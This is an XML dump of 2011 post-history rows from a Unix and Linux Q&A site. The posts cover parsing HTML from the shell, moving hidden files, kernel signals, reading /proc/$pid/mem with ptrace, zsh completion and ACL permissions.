  <row Id="14578" PostHistoryTypeId="2" PostId="6389" RevisionGUID="47a9bf2e-f13e-4ffe-963c-701cf29d92cc" CreationDate="2011-01-24T18:51:17.847" UserId="451" Text="I have a couple of hundred html source code files.  I need to extract the contents of a particular `&lt;div&gt;` element from each of these file so I'm going to write a script to loop through each file.  The element structure is like this:&#xD;&#xA;&#xD;&#xA;    &lt;div id='the_div_id'&gt;&#xD;&#xA;      &lt;div id='some_other_div'&gt;&#xD;&#xA;      &lt;h3&gt;Some content&lt;/h3&gt;&#xD;&#xA;      &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;Can anyone suggest a method by which I can extract the div `the_div_id` and all the child elements and content from a file using the linux command line?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14579" PostHistoryTypeId="1" PostId="6389" RevisionGUID="47a9bf2e-f13e-4ffe-963c-701cf29d92cc" CreationDate="2011-01-24T18:51:17.847" UserId="451" Text="Parse html on Linux" />
  <row Id="14580" PostHistoryTypeId="3" PostId="6389" RevisionGUID="47a9bf2e-f13e-4ffe-963c-701cf29d92cc" CreationDate="2011-01-24T18:51:17.847" UserId="451" Text="écommandölineàébashàélibrariesàéxmlà" />
  <row Id="14581" PostHistoryTypeId="2" PostId="6390" RevisionGUID="496bc639-ad99-45b1-9564-cfec43b457fd" CreationDate="2011-01-24T18:57:10.230" UserId="3432" Text="find default apache user's group in /etc/groups&#xD;&#xA;&#xD;&#xA;and add deploy-user to that group" />
  <row Id="14582" PostHistoryTypeId="2" PostId="6391" RevisionGUID="6be11ea4-77ad-4818-b969-ffe93d7b8326" CreationDate="2011-01-24T19:22:41.380" UserId="1207" Text="If you are looking for a more customizer parser, this might not work for you.  But, for the use case you mentioned, the [html-xml-utils][1] package, available in most major Linux distributions.  Particularly useful for your case is `hxselect` which reads from standard input and extract elements based on CSS selectors.  Your use case would look like:&#xD;&#xA;&#xD;&#xA;    hxselect '#the_div_id' &lt;file&#xD;&#xA;&#xD;&#xA;You might get a complaint about input not being well formed depending on what you are feeding it.  This complaint is given over standard error and thus can be easily suppressed if needed.  Alternative to this would to be to use Perl's HTML::PARSER package; however, I will leave that to someone with Perl skills less rusty than my own.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Tools/HTML-XML-utils/" />
  <row Id="14583" PostHistoryTypeId="2" PostId="6392" RevisionGUID="301f8d72-2635-4730-be11-ac28bf2a3759" CreationDate="2011-01-24T19:31:13.143" UserId="4143" Text="How do I move all files in a directory (including the hidden ones) to another directory?&#xD;&#xA;&#xD;&#xA;For example, if I have a folder &quot;Foo&quot; with the files &quot;.hidden&quot; and &quot;notHidden&quot; inside, how do I move both files to a directory named &quot;Bar&quot;? The following does not work, as the &quot;.hidden&quot; file stays in &quot;Foo&quot;.&#xD;&#xA;&#xD;&#xA;    mv Foo/* Bar/&#xD;&#xA;Note: Try it yourself.&#xD;&#xA;&#xD;&#xA;    mkdir Foo&#xD;&#xA;    mkdir Bar&#xD;&#xA;    touch Foo/.hidden&#xD;&#xA;    touch Foo/notHidden&#xD;&#xA;    mv Foo/* Bar/" />
  <row Id="14584" PostHistoryTypeId="1" PostId="6392" RevisionGUID="301f8d72-2635-4730-be11-ac28bf2a3759" CreationDate="2011-01-24T19:31:13.143" UserId="4143" Text="How do you move all files (including hidden) in a directory to another?" />
  <row Id="14585" PostHistoryTypeId="3" PostId="6392" RevisionGUID="301f8d72-2635-4730-be11-ac28bf2a3759" CreationDate="2011-01-24T19:31:13.143" UserId="4143" Text="ébashà" />
  <row Id="14586" PostHistoryTypeId="5" PostId="6391" RevisionGUID="3c9f923b-1901-4520-8c22-0199b770c467" CreationDate="2011-01-24T19:32:06.763" UserId="1207" Comment="deleted 35 characters in body" Text="The [html-xml-utils][1] package, available in most major Linux distributions, has a number of tools that are useful when dealing with HTML and XML documents. Particularly useful for your case is `hxselect` which reads from standard input and extracts elements based on CSS selectors.  Your use case would look like:&#xD;&#xA;&#xD;&#xA;    hxselect '#the_div_id' &lt;file&#xD;&#xA;&#xD;&#xA;You might get a complaint about input not being well formed depending on what you are feeding it.  This complaint is given over standard error and thus can be easily suppressed if needed.  An alternative to this would to be to use Perl's HTML::PARSER package; however, I will leave that to someone with Perl skills less rusty than my own.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Tools/HTML-XML-utils/" />
  <row Id="14587" PostHistoryTypeId="5" PostId="6337" RevisionGUID="458f0441-b95d-4a96-a8a9-cf8186ee8273" CreationDate="2011-01-24T19:32:10.680" UserId="885" Comment="mention SIGHUP (thanks Keith)" Text="In addition to processes calling [`kill(2)`](http://pubs.opengroup.org/onlinepubs/009695399/functions/kill.html), some [signals](http://en.wikipedia.org/wiki/Signal_%28computing%29#List_of_signals) are sent by the kernel (or sometimes by the process itself) in various circumstances:&#xD;&#xA;&#xD;&#xA;* Terminal drivers send signals corresponding to various events:&#xD;&#xA;    * Key press notifications:&#xD;&#xA;      [`SIGINT`](http://en.wikipedia.org/wiki/SIGINT_%28POSIX%29) (please go back to the main loop) on &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;,&#xD;&#xA;      [`SIGQUIT`](http://en.wikipedia.org/wiki/SIGINT_%28POSIX%29) (please quit immediately) on &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;\\&lt;/kbd&gt;,&#xD;&#xA;      [`SIGTSTP`](http://en.wikipedia.org/wiki/SIGINT_%28POSIX%29) (please suspend) on &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;. The keys can be changed with the [`stty`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/stty.html) command.&#xD;&#xA;    * [`SIGTTIN`](http://en.wikipedia.org/wiki/SIGTTIN) and [`SIGTTOU`](http://en.wikipedia.org/wiki/SIGTTOU) are sent when a background process tries to read or write to its controlling terminal.&#xD;&#xA;    * [`SIGWINCH`](http://en.wikipedia.org/wiki/SIGWINCH) is sent to signal that the size of the terminal window has changed.&#xD;&#xA;    * [`SIGHUP`](http://en.wikipedia.org/wiki/SIGHUP) is sent to signal that the terminal has disappeared (historically because your modem had &lt;strong&gt;h&lt;/strong&gt;ung &lt;strong&gt;up&lt;/strong&gt;, nowadays usually because you've closed the terminal emulator window).&#xD;&#xA;* Some processor traps can generate a signal. The details are architecture and system dependent; here are typical examples:&#xD;&#xA;    * [`SIGBUS`](http://en.wikipedia.org/wiki/SIGBUS) for an unaligned access memory;&#xD;&#xA;    * [`SIGSEGV`](http://en.wikipedia.org/wiki/SIGSEGV) for an access to an unmapped page;&#xD;&#xA;    * [`SIGILL`](http://en.wikipedia.org/wiki/SIGILL) for an illegal instruction (bad opcode);&#xD;&#xA;    * [`SIGFPE`](http://en.wikipedia.org/wiki/SIGFPE) for a floating-point instruction with bad arguments (e.g. `sqrt(-1)`).&#xD;&#xA;* A number of signals notify the target process that some system event has occured:&#xD;&#xA;    * [`SIGALRM`](http://en.wikipedia.org/wiki/SIGALRM) notifies that a timer set by the process has expired. Timers can be set with [`alarm`](http://pubs.opengroup.org/onlinepubs/009695399/functions/alarm.html), [`setitimer`](http://pubs.opengroup.org/onlinepubs/009695399/functions/setitimer.html) and others.&#xD;&#xA;    * [`SIGCHLD`](http://en.wikipedia.org/wiki/SIGCHLD) notifies a process that one of its children has died.&#xD;&#xA;    * [`SIGPIPE`](http://en.wikipedia.org/wiki/SIGPIPE) is generated when a process tries to write to a pipe when the reading end has been closed (the idea is that if you run `foo | bar` and `bar` exits, `foo` gets killed by a `SIGPIPE`).&#xD;&#xA;    * [`SIGPOLL`](http://en.wikipedia.org/wiki/SIGPOLL) (also called `SIGIO`) notifies the process that a pollable event has occured. POSIX specifies pollable events registered through the `I_SETSIG` [`ioctl`](http://pubs.opengroup.org/onlinepubs/009695399/functions/ioctl.html). Many systems allow pollable events on any file descriptor, set via the `O_ASYNC` [`fcntl`](http://www.freebsd.org/cgi/man.cgi?query=fcntl&amp;sektion=2&amp;manpath=FreeBSD+8.1-RELEASE&amp;format=html) flag. A related signal is [`SIGURG`](http://en.wikipedia.org/wiki/SIGURG), which notifies of urgent data on a device (registered via the `I_SETSIG` [`ioctl`](http://pubs.opengroup.org/onlinepubs/009695399/functions/ioctl.html)) or [socket](http://pubs.opengroup.org/onlinepubs/009695399/functions/xsh_chap02_10.html#tag_02_10_12).&#xD;&#xA;    * On some systems, [`SIGPWR`](http://en.wikipedia.org/wiki/SIGPWR) is sent to all processes when the [UPS](http://en.wikipedia.org/wiki/Uninterruptible_power_supply) signals that a power failure is imminent.&#xD;&#xA;&#xD;&#xA;These lists are not exhaustive. Standard signals are defined in [`signal.h`](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/signal.h.html).&#xD;&#xA;&#xD;&#xA;Most signals can be caught and handled (or ignored) by the application. The only two portable signals that cannot be caught are [`SIGKILL`](http://en.wikipedia.org/wiki/SIGKILL) (just die) and [`STOP`](http://en.wikipedia.org/wiki/SIGSTOP) (stop execution).&#xD;&#xA;&#xD;&#xA;[`SIGSEGV`](http://en.wikipedia.org/wiki/SIGSEGV) ([segmentation fault](http://en.wikipedia.org/wiki/Segmentation_fault)) and its cousin [`SIGBUS`](http://en.wikipedia.org/wiki/SIGBUS) ([bus error](http://en.wikipedia.org/wiki/Bus_error)) can be caught, but it's a bad idea unless you really know what you're doing. A common application for catching them is printing a stack trace or other debug information. A more advanced application is to implement some kind of in-process memory management, or to trap bad instructions in virtual machine engines.&#xD;&#xA;" />
  <row Id="14588" PostHistoryTypeId="2" PostId="6393" RevisionGUID="d89bf311-345e-451e-985b-7c72419d423a" CreationDate="2011-01-24T19:18:42.713" UserId="4143" Text="How do I move all files in a directory (including the hidden ones) to another directory?&#xD;&#xA;&#xD;&#xA;For example, if I have a folder &quot;Foo&quot; with the files &quot;.hidden&quot; and &quot;notHidden&quot; inside, how do I move both files to a directory named &quot;Bar&quot;?  The following does not work, as the &quot;.hidden&quot; file stays in &quot;Foo&quot;.&#xD;&#xA;&#xD;&#xA;    mv Foo/* Bar/&#xD;&#xA;&#xD;&#xA;Note: Try it yourself.&#xD;&#xA;&#xD;&#xA;    mkdir Foo&#xD;&#xA;    mkdir Bar&#xD;&#xA;    touch Foo/.hidden&#xD;&#xA;    touch Foo/notHidden&#xD;&#xA;    mv Foo/* Bar/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14589" PostHistoryTypeId="1" PostId="6393" RevisionGUID="d89bf311-345e-451e-985b-7c72419d423a" CreationDate="2011-01-24T19:18:42.713" UserId="4143" Text="How do you move all files (including hidden) in a directory to another?" />
  <row Id="14590" PostHistoryTypeId="3" PostId="6393" RevisionGUID="d89bf311-345e-451e-985b-7c72419d423a" CreationDate="2011-01-24T19:18:42.713" UserId="4143" Text="élinuxàébashà" />
  <row Id="14591" PostHistoryTypeId="17" PostId="6393" RevisionGUID="20120f7b-d0fc-475d-9254-198739c5eae2" CreationDate="2011-01-24T19:33:40.877" UserId="-1" Comment="from http://stackoverflow.com/questions/4786116/how-do-you-move-all-files-including-hidden-in-a-directory-to-another" Text="" />
  <row Id="14592" PostHistoryTypeId="5" PostId="6301" RevisionGUID="1edffa61-f6aa-499c-bb10-2d6cf226bbb5" CreationDate="2011-01-24T19:35:38.913" UserId="885" Comment="typo" Text="The [Linux `proc(5)` man page](http://www.kernel.org/doc/man-pages/online/pages/man5/proc.5.html) tells me that `/proc/$pid/mem` “can be used to access the pages of a process's memory”. But a straightforward attempt to use it only gives me&#xD;&#xA;&#xD;&#xA;    $ cat /proc/$$/mem /proc/self/mem&#xD;&#xA;    cat: /proc/3065/mem: No such process&#xD;&#xA;    cat: /proc/self/mem: Input/output error&#xD;&#xA;&#xD;&#xA;Why didn't these work? How can I read from `/proc/$pid/mem`? And what is this strange “no such process” error (3065 is the PID of my shell)?&#xD;&#xA;" />
  <row Id="14593" PostHistoryTypeId="2" PostId="6394" RevisionGUID="fffbdb4d-ef5e-473b-9002-f684cf6265e6" CreationDate="2011-01-24T19:36:59.077" UserId="4144" Text="[Linux: How to move all files from current directory to upper directory ?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/62141/linux-how-to-move-all-files-from-current-directory-to-upper-directory" />
  <row Id="14594" PostHistoryTypeId="2" PostId="6395" RevisionGUID="e56bea8f-1a37-43e5-97b4-66b7e02740bd" CreationDate="2011-01-24T19:38:02.190" UserId="1338" Text="    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    shopt -s dotglob&#xD;&#xA;    mv Foo/* Bar/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###From `man bash`###&#xD;&#xA;&gt; **dotglob** If set, bash includes&#xD;&#xA;&gt; filenames beginning with a '.' in the&#xD;&#xA;&gt; results of pathname expansion." />
  <row Id="14595" PostHistoryTypeId="5" PostId="6302" RevisionGUID="9d9549ce-8f17-41f9-bbda-93166f7db60f" CreationDate="2011-01-24T19:38:07.803" UserId="885" Comment="discuss root observer" Text="### `/proc/$pid/maps`&#xD;&#xA;&#xD;&#xA;`/proc/$pid/mem` shows the contents of $pid's memory mapped the same way as in the process, i.e., the byte at offset *x* in the pseudo-file is the same as the byte at address *x* in the process. If an address is unmapped in the process, reading from the corresponding offset in the file returns `EIO` (Input/output error). For example, since the first page in a process is never mapped (so that dereferencing a `NULL` pointer fails cleanly rather than unintendedly accessing actual memory), reading the first byte of `/proc/$pid/mem` always yield an I/O error.&#xD;&#xA;&#xD;&#xA;The way to find out what parts of the process memory are mapped is to read `/proc/$pid/maps`. This file contains one line per mapped region, looking like this:&#xD;&#xA;&#xD;&#xA;    08048000-08054000 r-xp 00000000 08:01 828061     /bin/cat&#xD;&#xA;    08c9b000-08cbc000 rw-p 00000000 00:00 0          [heap]&#xD;&#xA;&#xD;&#xA;The first two numbers are the boundaries of the region (addresses of the first byte and the byte after last, in hexa). The next column contain the permissions, then there's some information about the file (offset, device, inode and name) if this is a file mapping. See the [`proc(5)`](http://www.kernel.org/doc/man-pages/online/pages/man5/proc.5.html) man page or [Understanding Linux /proc/id/maps](http://stackoverflow.com/questions/1401359/understanding-linux-proc-id-maps) for more information.&#xD;&#xA;&#xD;&#xA;Here's a proof-of-concept script that dumps the contents of its own memory.&#xD;&#xA;&#xD;&#xA;    #! /usr/bin/env python&#xD;&#xA;    import re&#xD;&#xA;    maps_file = open(&quot;/proc/self/maps&quot;, 'r')&#xD;&#xA;    mem_file = open(&quot;/proc/self/mem&quot;, 'r', 0)&#xD;&#xA;    for line in maps_file.readlines():  # for each mapped region&#xD;&#xA;        m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)&#xD;&#xA;        if m.group(3) == 'r':  # if this is a readable region&#xD;&#xA;            start = int(m.group(1), 16)&#xD;&#xA;            end = int(m.group(2), 16)&#xD;&#xA;            mem_file.seek(start)  # seek to region start&#xD;&#xA;            chunk = mem_file.read(end - start)  # read region contents&#xD;&#xA;            print chunk,  # dump contents to standard output&#xD;&#xA;    maps_file.close()&#xD;&#xA;    mem_file.close()&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;### `/proc/$pid/mem`&#xD;&#xA;&#xD;&#xA;If you try to read from the `mem` pseudo-file of another process, it doesn't work: you get an `ESRCH` (No such process) error.&#xD;&#xA;&#xD;&#xA;The permissions on `/proc/$pid/mem` (`r--------`) are more liberal than what should be the case. For example, you shouldn't be able to read a setuid process's memory. Furthermore, trying to read a process's memory while the process is modifying it could give the reader an inconsistent view of the memory, and worse, there were race conditions that could trace older versions of the Linux kernel (according to [this lkml thread](http://lkml.indiana.edu/hypermail/linux/kernel/0505.0/0858.html), though I don't know the details). So additional checks are needed:&#xD;&#xA;&#xD;&#xA;* The process that wants to read from `/proc/$pid/mem` must attach to the process using [`ptrace`](http://www.kernel.org/doc/man-pages/online/pages/man2/ptrace.2.html) with the `PTRACE_ATTACH` flag. This is what debuggers do when they start debugging a process; it's also what [`strace`](http://linux.die.net/man/1/strace) does to a process's system calls. Once the reader has finished reading from `/proc/$pid/mem`, it should detach by calling `ptrace` with the `PTRACE_DETACH` flag.&#xD;&#xA;* The observed process must not be running. Normally calling `ptrace(PTRACE_ATTACH, …)` will stop the target process (it sends a `STOP` signal), but there is a race condition (signal delivery is asynchronous), so the tracer should call `wait` (as documented in [`ptrace(2)`](http://www.kernel.org/doc/man-pages/online/pages/man2/ptrace.2.html)).&#xD;&#xA;&#xD;&#xA;A process running as root can read any process's memory, without needing to call `ptrace`, but the observed process must be stopped, or the read will still return `ESRCH`.&#xD;&#xA;&#xD;&#xA;In the Linux kernel source, the code providing per-process entries in `/proc` is in [`fs/proc/base.c`](http://lxr.linux.no/#linux+v2.6.37/fs/proc/base.c), and the function to read from `/proc/$pid/mem` is [`mem_read`](http://lxr.linux.no/linux+*/fs/proc/base.c#L779). The additional check is performed by [`check_mem_permission`](http://lxr.linux.no/#linux+v2.6.37/fs/proc/base.c#L197).&#xD;&#xA;&#xD;&#xA;Here's some sample C code to attach to a process and read a chunk its of `mem` file (error checking omitted):&#xD;&#xA;&#xD;&#xA;    sprintf(mem_file_name, &quot;/proc/%d/mem&quot;, pid);&#xD;&#xA;    mem_fd = open(mem_file_name, O_RDONLY);&#xD;&#xA;    ptrace(PTRACE_ATTACH, pid, NULL, NULL);&#xD;&#xA;    waitpid(pid, NULL, 0);&#xD;&#xA;    lseek(mem_fd, offset, SEEK_SET);&#xD;&#xA;    read(mem_fd, buf, _SC_PAGE_SIZE);&#xD;&#xA;    ptrace(PTRACE_DETACH, pid, NULL, NULL);&#xD;&#xA;&#xD;&#xA;[I've already posted a proof-of-concept script for dumping `/proc/$pid/mem` on another thread](http://unix.stackexchange.com/questions/6267/how-to-unswap-my-desktop/6271#6271).&#xD;&#xA;" />
  <row Id="14596" PostHistoryTypeId="10" PostId="6392" RevisionGUID="e7ab5c91-d6f9-42ba-8288-9a7b6a1ae9f5" CreationDate="2011-01-24T19:39:34.717" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="14597" PostHistoryTypeId="5" PostId="6392" RevisionGUID="b973c451-4fe1-4fe6-810f-73edcc3339a4" CreationDate="2011-01-24T19:39:34.857" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How do you move all files (including hidden) in a directory to another?](http://unix.stackexchange.com/questions/6393/how-do-you-move-all-files-including-hidden-in-a-directory-to-another)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;How do I move all files in a directory (including the hidden ones) to another directory?&#xD;&#xA;&#xD;&#xA;For example, if I have a folder &quot;Foo&quot; with the files &quot;.hidden&quot; and &quot;notHidden&quot; inside, how do I move both files to a directory named &quot;Bar&quot;? The following does not work, as the &quot;.hidden&quot; file stays in &quot;Foo&quot;.&#xD;&#xA;&#xD;&#xA;    mv Foo/* Bar/&#xD;&#xA;Note: Try it yourself.&#xD;&#xA;&#xD;&#xA;    mkdir Foo&#xD;&#xA;    mkdir Bar&#xD;&#xA;    touch Foo/.hidden&#xD;&#xA;    touch Foo/notHidden&#xD;&#xA;    mv Foo/* Bar/" />
  <row Id="14598" PostHistoryTypeId="2" PostId="6396" RevisionGUID="4cc86ac6-9461-4734-ab88-ecf21ee125df" CreationDate="2011-01-24T19:46:28.213" UserId="1207" Text="One way is to use `find`:&#xD;&#xA;&#xD;&#xA;    find Foo/ -type f -exec mv -t Bar/ {} \+&#xD;&#xA;&#xD;&#xA;The `-type f` restricts the find command to finding files.  You should investigate the `-type`, `-maxdepth`, and `-mindepth` options of `find` to customize your command to account for subdirectories. Find has a lengthy but very helpful [manual page][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man1/find.1.html" />
  <row Id="14599" PostHistoryTypeId="5" PostId="6340" RevisionGUID="039b3777-90af-452b-b104-69e62a225c9d" CreationDate="2011-01-24T19:46:57.323" UserId="885" Comment="`_ssh` actually requires `service` to be set" Text="I use the following function to say that a function or alias or wrapper script (e.g. `s`) is to be completed like an existing command (e.g. `ssh`):&#xD;&#xA;&#xD;&#xA;    compdefas () {&#xD;&#xA;      local a&#xD;&#xA;      a=&quot;$1&quot;&#xD;&#xA;      shift&#xD;&#xA;      compdef &quot;$_comps[$a]&quot; &quot;${(@)*}=$a&quot;&#xD;&#xA;    }&#xD;&#xA;    compdefas xterm cxterm uxterm xterm-color&#xD;&#xA;&#xD;&#xA;Some completion commands apply to a family of functions and read the first word of the command line to determine which particular command to complete. For example, the commands `ssh`, `scp`, `sftp` and a few more are all completed by the function `_ssh`. In that case, you need to tell the completion function which “service” your function is like (by default, the service is the executable name, here your function's name).&#xD;&#xA;&#xD;&#xA;    _s () {&#xD;&#xA;      local service=ssh&#xD;&#xA;      _ssh &quot;$@&quot;&#xD;&#xA;    }&#xD;&#xA;    compdef _s s&#xD;&#xA;" />
  <row Id="14600" PostHistoryTypeId="25" PostId="6393" RevisionGUID="1b4bd64d-e6cf-41fd-af3c-9a9906b63fc9" CreationDate="2011-01-24T19:55:48.133" Comment="http://twitter.com/#!/StackUnix/status/29628451346448384" />
  <row Id="14601" PostHistoryTypeId="5" PostId="6352" RevisionGUID="16f4f59a-f735-4102-9f77-5d66bd0801a4" CreationDate="2011-01-24T20:23:30.510" UserId="1131" Comment="layout" Text="Can you add the links you are referring to? Because just mirroring does not need a log. A log (on the same or extra device) is usually involved when you use a journaling filesystem - if you use mirroring or not on the layer below (i.e. the blocklayer).&#xD;&#xA;&#xD;&#xA;**Update**: Ok, with the links things are clearer now. The LVM mirroring seems to be quite different from the linux md (RAID 1) mirroring.&#xD;&#xA;&#xD;&#xA;To quote from the [lvcreate man page][1]:&#xD;&#xA;&#xD;&#xA;&gt; Specifying the optional argument &quot;--corelog&quot; will create a mirror with an in-memory log verses a disk-based (persistent) log. While this removes the need for an extra log device and *may* be slightly faster, it requires that the entire mirror be resynchronized upon each instantiation (e.g. a reboot).&#xD;&#xA;&#xD;&#xA;Thus, with a memory based log you get a significant performance hit at startup and a performance hit, when the log physical volume is on the same hardware disk.&#xD;&#xA;&#xD;&#xA;Googling around, mirroring using Linux `mdadm` seems to be the better approach ATM. (You can use the md device as physical device for some lvm setup.)&#xD;&#xA;&#xD;&#xA;First, it does not need an extra log (and does not do an expensinve resync at every startup).&#xD;&#xA;&#xD;&#xA;Second, lvm mirrors does not seem to support parallel reading, i.e. md mirrors should have better read performance:&#xD;&#xA;&#xD;&#xA;http://serverfault.com/questions/97845/lvm-mirroring-vs-raid1&#xD;&#xA;&#xD;&#xA;http://serverfault.com/questions/126851/linux-lvm-mirror-vs-md-mirror&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/8/lvcreate" />
  <row Id="14602" PostHistoryTypeId="2" PostId="6397" RevisionGUID="cffc805b-697b-4fab-b487-def9c0e79d6e" CreationDate="2011-01-24T20:25:32.973" UserId="885" Text="### Zsh&#xD;&#xA;&#xD;&#xA;    mv Foo/*(DN) Bar/&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    setopt -s glob_dots&#xD;&#xA;    mv Foo/*(N) Bar/&#xD;&#xA;&#xD;&#xA;(Leave out the `(N)` if you know the directory is not empty.)&#xD;&#xA;&#xD;&#xA;### Bash&#xD;&#xA;&#xD;&#xA;    shopt -s dotglob nullglob&#xD;&#xA;    mv Foo/* Bar/&#xD;&#xA;&#xD;&#xA;### Ksh93&#xD;&#xA;&#xD;&#xA;If you know the directory is not empty:&#xD;&#xA;&#xD;&#xA;    FIGNORE='.?(.)'&#xD;&#xA;    mv Foo/* Bar/&#xD;&#xA;&#xD;&#xA;### Standard (POSIX) sh&#xD;&#xA;&#xD;&#xA;    for x in Foo/* Foo/.[!.]* Foo/..?*; do&#xD;&#xA;      if [ -e &quot;$x&quot; ]; then mv -- &quot;$x&quot; Bar/&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;If you're willing to let the `mv` command return an error status even though it succeeded, it's a lot simpler:&#xD;&#xA;&#xD;&#xA;    mv Foo/* Foo/.[!.]* Foo/..?* Bar/&#xD;&#xA;&#xD;&#xA;### GNU find and GNU mv&#xD;&#xA;&#xD;&#xA;    find Foo/ -mindepth 1 -maxdepth 1 -exec mv -t Bar/ -- {} +&#xD;&#xA;&#xD;&#xA;### Standard find&#xD;&#xA;&#xD;&#xA;If you don't mind changing to the source directory:&#xD;&#xA;&#xD;&#xA;    cd Foo/ &amp;&amp;&#xD;&#xA;    find . -name . -o -exec sh -c 'mv &quot;$@&quot; &quot;$0&quot;' ../Bar/ {} + -type d -prune&#xD;&#xA;" />
  <row Id="14603" PostHistoryTypeId="6" PostId="6393" RevisionGUID="20eb082a-b1ac-41a6-8cb1-adf867f8b7d1" CreationDate="2011-01-24T20:26:58.430" UserId="885" Comment="edited tags" Text="éshellàédirectoryàéfilesàérenameàéwildcardsà" />
  <row Id="14604" PostHistoryTypeId="6" PostId="1180" RevisionGUID="3e7f7b31-07d0-4345-bd32-787749eb9fac" CreationDate="2011-01-24T20:27:11.783" UserId="885" Comment="edited tags" Text="éshellàéstandardàéwildcardsà" />
  <row Id="14605" PostHistoryTypeId="2" PostId="6398" RevisionGUID="616987fb-a7e4-4c67-9864-452022ab8c95" CreationDate="2011-01-24T20:43:13.183" UserId="885" Text="Here's an untested Perl script that extracts `&lt;div id=&quot;the_div_id&quot;&gt;` elements and their contents using [`HTML::TreeBuilder`](http://search.cpan.org/perldoc?HTML::TreeBuilder).&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env perl&#xD;&#xA;    use strict;&#xD;&#xA;    use warnings&#xD;&#xA;    use HTML::TreeBuilder;&#xD;&#xA;    foreach my $file_name (@ARGV) {&#xD;&#xA;        my $tree = HTML::TreeBuilder-&gt;new;&#xD;&#xA;        $tree-&gt;parse_file($file_name);&#xD;&#xA;        for my $subtree ($tree-&gt;look_down(_tag =&gt; &quot;div&quot;, id =&gt; &quot;the_div_id&quot;)) {&#xD;&#xA;            my $html = $subtree-&gt;as_HTML;&#xD;&#xA;            $html =~ s/(?&lt;!\n)\z/\n/;&#xD;&#xA;            print $html;&#xD;&#xA;        }&#xD;&#xA;        $tree = $tree-&gt;delete;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;If you're allergic to Perl, Python has [`HTMLParser`](http://docs.python.org/library/htmlparser.html).&#xD;&#xA;&#xD;&#xA;P.S. [Do not try using regular expressions.](http://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags/1732454#1732454).&#xD;&#xA;" />
  <row Id="14606" PostHistoryTypeId="6" PostId="6389" RevisionGUID="f4dd3209-6c04-417b-85db-6c1575dfbc43" CreationDate="2011-01-24T20:44:18.160" UserId="885" Comment="edited tags" Text="éshellàétextöprocessingàéhtmlà" />
  <row Id="14607" PostHistoryTypeId="2" PostId="6399" RevisionGUID="395f36f7-9be3-4b91-8d6f-9dc0017f2d24" CreationDate="2011-01-24T20:49:11.010" UserId="885" Text="If you have [access control lists](http://en.wikipedia.org/wiki/Access_control_list) enabled, give `deploy-user` the right to read `/home/usera/web/www.example.com/some/random_dir` and its contents. To enable ACLs, you may need to add the `acl` option to the entry for the filesystem in `/etc/fstab` and install your distribution's `acl` package.&#xD;&#xA;&#xD;&#xA;Under Linux, the following commands give `deploy-user` the right to read and traverse the whole hierarchy rooted at `/home/usera/web`:&#xD;&#xA;&#xD;&#xA;    setfacl -d -m user:deploy-user:rx -R /home/usera/web&#xD;&#xA;    setfacl -m user:deploy-user:rx -R /home/usera/web&#xD;&#xA;" />
  <row Id="14608" PostHistoryTypeId="6" PostId="6387" RevisionGUID="15f456ba-2712-4d1f-a51c-33c943a0577d" CreationDate="2011-01-24T20:49:44.393" UserId="885" Comment="edited tags" Text="épermissionsàégroupà" />
  <row Id="14609" PostHistoryTypeId="6" PostId="6382" RevisionGUID="0c19480e-0c9c-4ec0-ba76-7f25e664fc3b" CreationDate="2011-01-24T20:50:24.610" UserId="885" Comment="edited tags" Text="élinuxàésoftwareörecàémusicöplayeràéstreamingàéwmaà" />
  <row Id="14610" PostHistoryTypeId="5" PostId="6383" RevisionGUID="1006f57a-d753-4d5a-89f5-08f0adacb833" CreationDate="2011-01-24T20:52:07.557" UserId="885" Comment="deleted 47 characters in body; edited tags; edited title" Text="I use the web browser [Uzbl][1] and the window manager Openbox, and I wondered if I could configure openbox to add a keyboard shortcut to minimize / maximize Uzbl's window ...&#xD;&#xA;&#xD;&#xA;  [1]: http://uzbl.org" />
  <row Id="14611" PostHistoryTypeId="4" PostId="6383" RevisionGUID="1006f57a-d753-4d5a-89f5-08f0adacb833" CreationDate="2011-01-24T20:52:07.557" UserId="885" Comment="deleted 47 characters in body; edited tags; edited title" Text="How can I assign a keyboard shortcut to a specific application in Openbox?" />
  <row Id="14612" PostHistoryTypeId="6" PostId="6383" RevisionGUID="1006f57a-d753-4d5a-89f5-08f0adacb833" CreationDate="2011-01-24T20:52:07.557" UserId="885" Comment="deleted 47 characters in body; edited tags; edited title" Text="ékeyboardöshortcutsàéopenboxà" />
